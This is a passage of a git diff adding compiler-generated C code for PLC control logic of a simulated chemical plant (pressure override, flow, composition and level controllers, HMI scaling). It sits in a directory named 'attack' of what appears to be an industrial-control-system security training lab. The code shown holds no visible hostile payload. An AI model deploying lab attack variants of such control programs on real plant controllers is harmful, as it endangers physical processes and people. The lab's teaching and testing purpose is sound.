+ __INIT_VAR(data__->CURR_SP,58981,retain) + __INIT_VAR(data__->CURR_SP_REAL,2700.0,retain) + __INIT_VAR(data__->PRODUCT_SP_REAL,100.0,retain) + __INIT_VAR(data__->SP_UPDATE,0.0,retain) + __INIT_VAR(data__->PRODUCT_SP_NOMINL,100.0,retain) + __INIT_VAR(data__->PRODUCT_SP,13107,retain) + __INIT_VAR(data__->OVERRIDE_SP_REAL,2900.0,retain) + __INIT_VAR(data__->OVERRIDE_SP,63350,retain) + __INIT_VAR(data__->OVERRIDE_K,1.0,retain) + __INIT_VAR(data__->OVERRIDE_TI,99999.0,retain) + __INIT_VAR(data__->CYCLE_TIME,__time_to_timespec(1, 50, 0, 0, 0, 0),retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL7,retain); + __INIT_VAR(data__->PRESSURE_MAX,3000.0,retain) + __INIT_VAR(data__->PRESSURE_MIN,0.0,retain) + __INIT_VAR(data__->FLOW_MAX,500.0,retain) + __INIT_VAR(data__->FLOW_MIN,0.0,retain) + SCALE_TO_REAL_init__(&data__->SCALE_TO_REAL0,retain); + __INIT_VAR(data__->SUB86_OUT,0,retain) + __INIT_VAR(data__->MUL87_OUT,0,retain) + __INIT_VAR(data__->MAX84_OUT,0,retain) + __INIT_VAR(data__->ADD85_OUT,0,retain) + __INIT_VAR(data__->LIMIT67_OUT,0,retain) + __INIT_VAR(data__->DIV73_OUT,0,retain) + __INIT_VAR(data__->MUL75_OUT,0,retain) + __INIT_VAR(data__->REAL_TO_UINT79_OUT,0,retain) +} + +// Code part +void PRESSURE_OVERRIDE_body__(PRESSURE_OVERRIDE *data__) { + // Control execution + if (!__GET_VAR(data__->EN)) { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(FALSE)); + return; + } + else { + __SET_VAR(data__->,ENO,,__BOOL_LITERAL(TRUE)); + } + // Initialise TEMP variables + + __SET_VAR(data__->SCALE_TO_REAL7.,RAW_INPUT_VALUE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MAX,,__GET_VAR(data__->PRESSURE_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL7.,REAL_MIN,,__GET_VAR(data__->PRESSURE_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL7); + __SET_VAR(data__->,PRESSURE_REAL,,__GET_VAR(data__->SCALE_TO_REAL7.SCALED_REAL,)); + __SET_VAR(data__->,SUB86_OUT,,SUB__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->OVERRIDE_SP_REAL,), + (REAL)__GET_VAR(data__->PRESSURE_REAL,))); + __SET_VAR(data__->,MUL87_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->SUB86_OUT,), + (REAL)__GET_VAR(data__->OVERRIDE_K,))); + __SET_VAR(data__->,MAX84_OUT,,MAX__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->MUL87_OUT,), + (REAL)0.0)); + __SET_VAR(data__->,SP_UPDATE,,__GET_VAR(data__->MAX84_OUT,)); + __SET_VAR(data__->SCALE_TO_REAL0.,RAW_INPUT_VALUE,,__GET_VAR(data__->CURR_SP,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MAX,,__GET_VAR(data__->FLOW_MAX,)); + __SET_VAR(data__->SCALE_TO_REAL0.,REAL_MIN,,__GET_VAR(data__->FLOW_MIN,)); + SCALE_TO_REAL_body__(&data__->SCALE_TO_REAL0); + __SET_VAR(data__->,CURR_SP_REAL,,__GET_VAR(data__->SCALE_TO_REAL0.SCALED_REAL,)); + __SET_VAR(data__->,ADD85_OUT,,ADD__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->CURR_SP_REAL,), + (REAL)__GET_VAR(data__->SP_UPDATE,))); + __SET_VAR(data__->,LIMIT67_OUT,,LIMIT__REAL__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)50.0, + (REAL)__GET_VAR(data__->ADD85_OUT,), + (REAL)150.0)); + __SET_VAR(data__->,PRODUCT_SP_REAL,,__GET_VAR(data__->LIMIT67_OUT,)); + __SET_VAR(data__->,DIV73_OUT,,DIV__REAL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->PRODUCT_SP_REAL,), + (REAL)500.0)); + __SET_VAR(data__->,MUL75_OUT,,MUL__REAL__REAL( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (REAL)__GET_VAR(data__->DIV73_OUT,), + (REAL)65535.0)); + __SET_VAR(data__->,REAL_TO_UINT79_OUT,,REAL_TO_UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (REAL)__GET_VAR(data__->MUL75_OUT,))); + __SET_VAR(data__->,PRODUCT_SP,,__GET_VAR(data__->REAL_TO_UINT79_OUT,)); + + goto __end; + +__end: + return; +} // PRESSURE_OVERRIDE_body__() + + + + + +inline UINT __MAIN_MOVE__UINT__UINT1(BOOL EN, + UINT IN, + MAIN *data__) +{ + UINT __res; + BOOL __TMP_ENO = __GET_VAR(data__->MOVE92_ENO,); + __res = MOVE__UINT__UINT(EN, + &__TMP_ENO, + IN); + __SET_VAR(,data__->MOVE92_ENO,,__TMP_ENO); + return __res; +} + +void MAIN_init__(MAIN *data__, BOOL retain) { + FLOW_CONTROL_init__(&data__->FLOW_CONTROL0,retain); + __INIT_VAR(data__->FIRST_RUN,__BOOL_LITERAL(TRUE),retain) + __INIT_VAR(data__->FLOW_SET,0,retain) + __INIT_VAR(data__->A_SETPOINT,0,retain) + __INIT_VAR(data__->PRESSURE_SP,0,retain) + __INIT_VAR(data__->OVERRIDE_SP,0,retain) + __INIT_VAR(data__->LEVEL_SP,0,retain) + COMPOSITION_CONTROL_init__(&data__->COMPOSITION_CONTROL0,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED0,retain); + __INIT_VAR(data__->F1_VALVE_POS,0,retain) + __INIT_VAR(data__->F1_FLOW,0,retain) + __INIT_VAR(data__->F2_VALVE_POS,0,retain) + __INIT_VAR(data__->F2_FLOW,0,retain) + __INIT_VAR(data__->PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->PURGE_FLOW,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->PRESSURE,0,retain) + __INIT_VAR(data__->LEVEL,0,retain) + __INIT_VAR(data__->A_IN_PURGE,0,retain) + __INIT_VAR(data__->B_IN_PURGE,0,retain) + __INIT_VAR(data__->C_IN_PURGE,0,retain) + __INIT_VAR(data__->F1_VALVE_SP,0,retain) + __INIT_VAR(data__->F2_VALVE_SP,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SP,0,retain) + __INIT_VAR(data__->PRODUCT_VALVE_SAFE,0,retain) + __INIT_VAR(data__->PURGE_VALVE_SAFE,65535,retain) + __INIT_VAR(data__->F1_VALVE_SAFE,0,retain) + __INIT_VAR(data__->F2_VALVE_SAFE,0,retain) + PRESSURE_CONTROL_init__(&data__->PRESSURE_CONTROL0,retain); + __INIT_VAR(data__->HMI_PRESSURE,0,retain) + __INIT_VAR(data__->HMI_LEVEL,0,retain) + __INIT_VAR(data__->HMI_F1_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F1_FLOW,0,retain) + __INIT_VAR(data__->HMI_F2_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_F2_FLOW,0,retain) + __INIT_VAR(data__->HMI_PURGE_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PURGE_FLOW,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_VALVE_POS,0,retain) + __INIT_VAR(data__->HMI_PRODUCT_FLOW,0,retain) + __INIT_VAR(data__->SCAN_COUNT,0,retain) + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED1,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED2,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED3,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED4,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED5,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED6,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED7,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED8,retain); + SCALE_TO_SIGNED_init__(&data__->SCALE_TO_SIGNED9,retain); + PRESSURE_OVERRIDE_init__(&data__->PRESSURE_OVERRIDE0,retain); + LEVEL_CONTROL_init__(&data__->LEVEL_CONTROL0,retain); + __INIT_EXTERNAL(BOOL,RUN_BIT,data__->RUN_BIT,retain) + __INIT_VAR(data__->RUN_BIT0,__BOOL_LITERAL(TRUE),retain) + INITIALIZE_SP_init__(&data__->INITIALIZE_SP0,retain); + __INIT_VAR(data__->ADD87_OUT,0,retain) + __INIT_VAR(data__->GE91_OUT,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE92_ENO,__BOOL_LITERAL(FALSE),retain) + __INIT_VAR(data__->MOVE92_OUT,0,retain) +} + +// Code part +void MAIN_body__(MAIN *data__) { + // Initialise TEMP variables + + __SET_VAR(data__->INITIALIZE_SP0.,EN,,__GET_VAR(data__->FIRST_RUN,)); + INITIALIZE_SP_body__(&data__->INITIALIZE_SP0); + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FIRST_RUN,,__BOOL_LITERAL(FALSE)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->INITIALIZE_SP0.FLOW_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,A_SETPOINT,,__GET_VAR(data__->INITIALIZE_SP0.A_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,PRESSURE_SP,,__GET_VAR(data__->INITIALIZE_SP0.PRESS_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,OVERRIDE_SP,,__GET_VAR(data__->INITIALIZE_SP0.OVER_SP,)); + }; + if (__GET_VAR(data__->INITIALIZE_SP0.ENO,)) { + __SET_VAR(data__->,LEVEL_SP,,__GET_VAR(data__->INITIALIZE_SP0.LEVEL_SP,)); + }; + __SET_VAR(data__->FLOW_CONTROL0.,PRODUCT_FLOW,,__GET_VAR(data__->PRODUCT_FLOW,)); + __SET_VAR(data__->FLOW_CONTROL0.,CURR_POS,,__GET_VAR(data__->F1_VALVE_POS,)); + __SET_VAR(data__->FLOW_CONTROL0.,FLOW_SET_IN,,__GET_VAR(data__->FLOW_SET,)); + FLOW_CONTROL_body__(&data__->FLOW_CONTROL0); + __SET_VAR(data__->,F1_VALVE_SP,,__GET_VAR(data__->FLOW_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,PRESSURE_SP,,__GET_VAR(data__->PRESSURE_SP,)); + __SET_VAR(data__->PRESSURE_CONTROL0.,CURR_POS,,__GET_VAR(data__->PURGE_VALVE_POS,)); + PRESSURE_CONTROL_body__(&data__->PRESSURE_CONTROL0); + __SET_VAR(data__->,PURGE_VALVE_SP,,__GET_VAR(data__->PRESSURE_CONTROL0.VALVE_POS,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_IN_PURGE,,__GET_VAR(data__->A_IN_PURGE,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,A_SETPOINT,,__GET_VAR(data__->A_SETPOINT,)); + __SET_VAR(data__->COMPOSITION_CONTROL0.,CURR_POS,,__GET_VAR(data__->F2_VALVE_POS,)); + COMPOSITION_CONTROL_body__(&data__->COMPOSITION_CONTROL0); + __SET_VAR(data__->,F2_VALVE_SP,,__GET_VAR(data__->COMPOSITION_CONTROL0.NEW_POS,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,PRESSURE,,__GET_VAR(data__->PRESSURE,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,CURR_SP,,__GET_VAR(data__->FLOW_SET,)); + __SET_VAR(data__->PRESSURE_OVERRIDE0.,OVERRIDE_SP,,__GET_VAR(data__->OVERRIDE_SP,)); + PRESSURE_OVERRIDE_body__(&data__->PRESSURE_OVERRIDE0); + __SET_VAR(data__->,FLOW_SET,,__GET_VAR(data__->PRESSURE_OVERRIDE0.PRODUCT_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LIQUID_LEVEL,,__GET_VAR(data__->LEVEL,)); + __SET_VAR(data__->LEVEL_CONTROL0.,LEVEL_SP,,__GET_VAR(data__->LEVEL_SP,)); + __SET_VAR(data__->LEVEL_CONTROL0.,CURR_POS,,__GET_VAR(data__->PRODUCT_VALVE_POS,)); + LEVEL_CONTROL_body__(&data__->LEVEL_CONTROL0); + __SET_VAR(data__->,PRODUCT_VALVE_SP,,__GET_VAR(data__->LEVEL_CONTROL0.NEW_POS,)); + __SET_VAR(data__->SCALE_TO_SIGNED0.,INPUT_UINT,,__GET_VAR(data__->PRESSURE,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED0); + __SET_VAR(data__->,HMI_PRESSURE,,__GET_VAR(data__->SCALE_TO_SIGNED0.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED1.,INPUT_UINT,,__GET_VAR(data__->LEVEL,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED1); + __SET_VAR(data__->,HMI_LEVEL,,__GET_VAR(data__->SCALE_TO_SIGNED1.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED2.,INPUT_UINT,,__GET_VAR(data__->F1_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED2); + __SET_VAR(data__->,HMI_F1_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED2.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED3.,INPUT_UINT,,__GET_VAR(data__->F2_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED3); + __SET_VAR(data__->,HMI_F2_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED3.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED4.,INPUT_UINT,,__GET_VAR(data__->PURGE_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED4); + __SET_VAR(data__->,HMI_PURGE_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED4.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED5.,INPUT_UINT,,__GET_VAR(data__->PRODUCT_VALVE_POS,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED5); + __SET_VAR(data__->,HMI_PRODUCT_VALVE_POS,,__GET_VAR(data__->SCALE_TO_SIGNED5.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED6.,INPUT_UINT,,__GET_VAR(data__->F1_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED6); + __SET_VAR(data__->,HMI_F1_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED6.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED7.,INPUT_UINT,,__GET_VAR(data__->F2_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED7); + __SET_VAR(data__->,HMI_F2_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED7.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED8.,INPUT_UINT,,__GET_VAR(data__->PURGE_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED8); + __SET_VAR(data__->,HMI_PURGE_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED8.OUTPUT_INT,)); + __SET_VAR(data__->SCALE_TO_SIGNED9.,INPUT_UINT,,__GET_VAR(data__->PRODUCT_FLOW,)); + SCALE_TO_SIGNED_body__(&data__->SCALE_TO_SIGNED9); + __SET_VAR(data__->,HMI_PRODUCT_FLOW,,__GET_VAR(data__->SCALE_TO_SIGNED9.OUTPUT_INT,)); + __SET_VAR(data__->,ADD87_OUT,,ADD__UINT__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->SCAN_COUNT,), + (UINT)1)); + __SET_VAR(data__->,SCAN_COUNT,,__GET_VAR(data__->ADD87_OUT,)); + __SET_VAR(data__->,GE91_OUT,,GE__BOOL__UINT( + (BOOL)__BOOL_LITERAL(TRUE), + NULL, + (UINT)2, + (UINT)__GET_VAR(data__->SCAN_COUNT,), + (UINT)32000)); + __SET_VAR(data__->,MOVE92_OUT,,__MAIN_MOVE__UINT__UINT1( + (BOOL)__GET_VAR(data__->GE91_OUT,), + (UINT)0, + data__)); + if (__GET_VAR(data__->MOVE92_ENO,)) { + __SET_VAR(data__->,SCAN_COUNT,,__GET_VAR(data__->MOVE92_OUT,)); + }; + + goto __end; + +__end: + return; +} // MAIN_body__() + + + + + diff --git a/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h new file mode 100644 index 0000000..9c89adb --- /dev/null +++ b/plc/GRFICS_Workstation_Docs/Documents/attack/build/POUS.h @@ -0,0 +1,456 @@ +#include "beremiz.h" +#ifndef __POUS_H +#define __POUS_H + +#include "accessor.h" +#include "iec_std_lib.h" + +__DECLARE_ENUMERATED_TYPE(LOGLEVEL, + LOGLEVEL__CRITICAL, + LOGLEVEL__WARNING, + LOGLEVEL__INFO, + LOGLEVEL__DEBUG +) +// FUNCTION_BLOCK LOGGER +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,MSG) + __DECLARE_VAR(LOGLEVEL,LEVEL) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(BOOL,TRIG0) + +} LOGGER; + +void LOGGER_init__(LOGGER *data__, BOOL retain); +// Code part +void LOGGER_body__(LOGGER *data__); +// FUNCTION_BLOCK PYTHON_EVAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_EVAL; + +void PYTHON_EVAL_init__(PYTHON_EVAL *data__, BOOL retain); +// Code part +void PYTHON_EVAL_body__(PYTHON_EVAL *data__); +// FUNCTION_BLOCK PYTHON_POLL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(DWORD,STATE) + __DECLARE_VAR(STRING,BUFFER) + __DECLARE_VAR(STRING,PREBUFFER) + __DECLARE_VAR(BOOL,TRIGM1) + __DECLARE_VAR(BOOL,TRIGGED) + +} PYTHON_POLL; + +void PYTHON_POLL_init__(PYTHON_POLL *data__, BOOL retain); +// Code part +void PYTHON_POLL_body__(PYTHON_POLL *data__); +// FUNCTION_BLOCK PYTHON_GEAR +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,N) + __DECLARE_VAR(BOOL,TRIG) + __DECLARE_VAR(STRING,CODE) + __DECLARE_VAR(BOOL,ACK) + __DECLARE_VAR(STRING,RESULT) + + // FB private variables - TEMP, private and located variables + PYTHON_EVAL PY_EVAL; + __DECLARE_VAR(UINT,COUNTER) + __DECLARE_VAR(UINT,ADD10_OUT) + __DECLARE_VAR(BOOL,EQ13_OUT) + __DECLARE_VAR(UINT,SEL15_OUT) + __DECLARE_VAR(BOOL,AND7_OUT) + +} PYTHON_GEAR; + +void PYTHON_GEAR_init__(PYTHON_GEAR *data__, BOOL retain); +// Code part +void PYTHON_GEAR_body__(PYTHON_GEAR *data__); +// FUNCTION_BLOCK SCALE_TO_REAL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,RAW_INPUT_VALUE) + __DECLARE_VAR(REAL,SCALED_REAL) + __DECLARE_VAR(REAL,REAL_MAX) + __DECLARE_VAR(REAL,REAL_MIN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,RAW_MAX) + __DECLARE_VAR(UINT,RAW_MIN) + __DECLARE_VAR(REAL,RATE) + __DECLARE_VAR(REAL,OFFSET) + +} SCALE_TO_REAL; + +void SCALE_TO_REAL_init__(SCALE_TO_REAL *data__, BOOL retain); +// Code part +void SCALE_TO_REAL_body__(SCALE_TO_REAL *data__); +// FUNCTION_BLOCK SCALE_TO_UINT +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(REAL,REAL_IN) + __DECLARE_VAR(UINT,UINT_OUT) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,DIV1_OUT) + __DECLARE_VAR(REAL,MUL4_OUT) + __DECLARE_VAR(UINT,REAL_TO_UINT6_OUT) + +} SCALE_TO_UINT; + +void SCALE_TO_UINT_init__(SCALE_TO_UINT *data__, BOOL retain); +// Code part +void SCALE_TO_UINT_body__(SCALE_TO_UINT *data__); +// FUNCTION_BLOCK COMPOSITION_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,A_IN_PURGE) + __DECLARE_VAR(UINT,A_SETPOINT) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,A_IN_PURGE_REAL) + __DECLARE_VAR(REAL,A_SETPOINT_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,COMPOSITION_K) + __DECLARE_VAR(REAL,COMPOSITION_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL3; + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,COMP_MAX) + __DECLARE_VAR(REAL,COMP_MIN) + __DECLARE_VAR(REAL,POS_MAX) + __DECLARE_VAR(REAL,POS_MIN) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB45_OUT) + __DECLARE_VAR(REAL,MUL46_OUT) + __DECLARE_VAR(REAL,ADD42_OUT) + __DECLARE_VAR(REAL,LIMIT44_OUT) + +} COMPOSITION_CONTROL; + +void COMPOSITION_CONTROL_init__(COMPOSITION_CONTROL *data__, BOOL retain); +// Code part +void COMPOSITION_CONTROL_body__(COMPOSITION_CONTROL *data__); +// FUNCTION_BLOCK INITIALIZE_SP +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,FLOW_SP) + __DECLARE_VAR(UINT,A_SP) + __DECLARE_VAR(UINT,PRESS_SP) + __DECLARE_VAR(UINT,OVER_SP) + __DECLARE_VAR(UINT,LEVEL_SP) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(UINT,FLOW_SP_C) + __DECLARE_VAR(UINT,A_SP_C) + __DECLARE_VAR(UINT,PRESS_SP_C) + __DECLARE_VAR(UINT,OVER_SP_C) + __DECLARE_VAR(UINT,LEVEL_SP_C) + __DECLARE_VAR(UINT,MOVE3_OUT) + __DECLARE_VAR(UINT,MOVE7_OUT) + __DECLARE_VAR(UINT,MOVE11_OUT) + __DECLARE_VAR(UINT,MOVE15_OUT) + __DECLARE_VAR(UINT,MOVE19_OUT) + +} INITIALIZE_SP; + +void INITIALIZE_SP_init__(INITIALIZE_SP *data__, BOOL retain); +// Code part +void INITIALIZE_SP_body__(INITIALIZE_SP *data__); +// FUNCTION_BLOCK PRESSURE_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRESSURE) + __DECLARE_VAR(UINT,PRESSURE_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,VALVE_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,PRESSURE_REAL) + __DECLARE_VAR(REAL,PRESSURE_SP_REAL) + __DECLARE_VAR(REAL,VALVE_POS_REAL) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,VALVE_POS_NOMINAL) + __DECLARE_VAR(REAL,PRESSURE_K) + __DECLARE_VAR(REAL,PRESSURE_TI) + __DECLARE_VAR(TIME,CYCLE_TIME) + SCALE_TO_REAL SCALE_TO_REAL5; + SCALE_TO_REAL SCALE_TO_REAL4; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,PRESSURE_MAX) + __DECLARE_VAR(REAL,PRESSURE_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,SUB57_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,SUB53_OUT) + __DECLARE_VAR(REAL,LIMIT55_OUT) + +} PRESSURE_CONTROL; + +void PRESSURE_CONTROL_init__(PRESSURE_CONTROL *data__, BOOL retain); +// Code part +void PRESSURE_CONTROL_body__(PRESSURE_CONTROL *data__); +// FUNCTION_BLOCK FLOW_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,PRODUCT_FLOW) + __DECLARE_VAR(UINT,NEW_POS) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,FLOW_SET_IN) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(REAL,FLOW_K) + __DECLARE_VAR(REAL,FLOW_TI) + __DECLARE_VAR(REAL,FLOW_TD) + __DECLARE_VAR(REAL,PRODUCT_FLOW_REAL) + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,POS_UPDATE_REAL) + __DECLARE_VAR(REAL,CURR_POS_REAL) + __DECLARE_VAR(REAL,FLOW_SET_REAL) + SCALE_TO_REAL SCALE_TO_REAL0; + SCALE_TO_REAL SCALE_TO_REAL1; + __DECLARE_VAR(REAL,FLOW_MAX) + __DECLARE_VAR(REAL,FLOW_MIN) + __DECLARE_VAR(REAL,POS_MIN) + __DECLARE_VAR(REAL,POS_MAX) + SCALE_TO_REAL SCALE_TO_REAL2; + SCALE_TO_UINT SCALE_TO_UINT0; + __DECLARE_VAR(REAL,SUB59_OUT) + __DECLARE_VAR(REAL,MUL60_OUT) + __DECLARE_VAR(REAL,ADD58_OUT) + __DECLARE_VAR(REAL,LIMIT40_OUT) + +} FLOW_CONTROL; + +void FLOW_CONTROL_init__(FLOW_CONTROL *data__, BOOL retain); +// Code part +void FLOW_CONTROL_body__(FLOW_CONTROL *data__); +// FUNCTION_BLOCK LEVEL_CONTROL +// Data part +typedef struct { + // FB Interface - IN, OUT, IN_OUT variables + __DECLARE_VAR(BOOL,EN) + __DECLARE_VAR(BOOL,ENO) + __DECLARE_VAR(UINT,LIQUID_LEVEL) + __DECLARE_VAR(UINT,LEVEL_SP) + __DECLARE_VAR(UINT,CURR_POS) + __DECLARE_VAR(UINT,NEW_POS) + + // FB private variables - TEMP, private and located variables + __DECLARE_VAR(TIME,CYCLE_TIME) + __DECLARE_VAR(REAL,LEVEL_K) + __DECLARE_VAR(REAL,LEVEL_TI) + SCALE_TO_REAL SCALE_TO_REAL0; + __DECLARE_VAR(REAL,LEVEL_MAX) + __DECLARE_VAR(REAL,LEVEL_MIN) + __DECLARE_VAR(REAL,POS_MAX) + 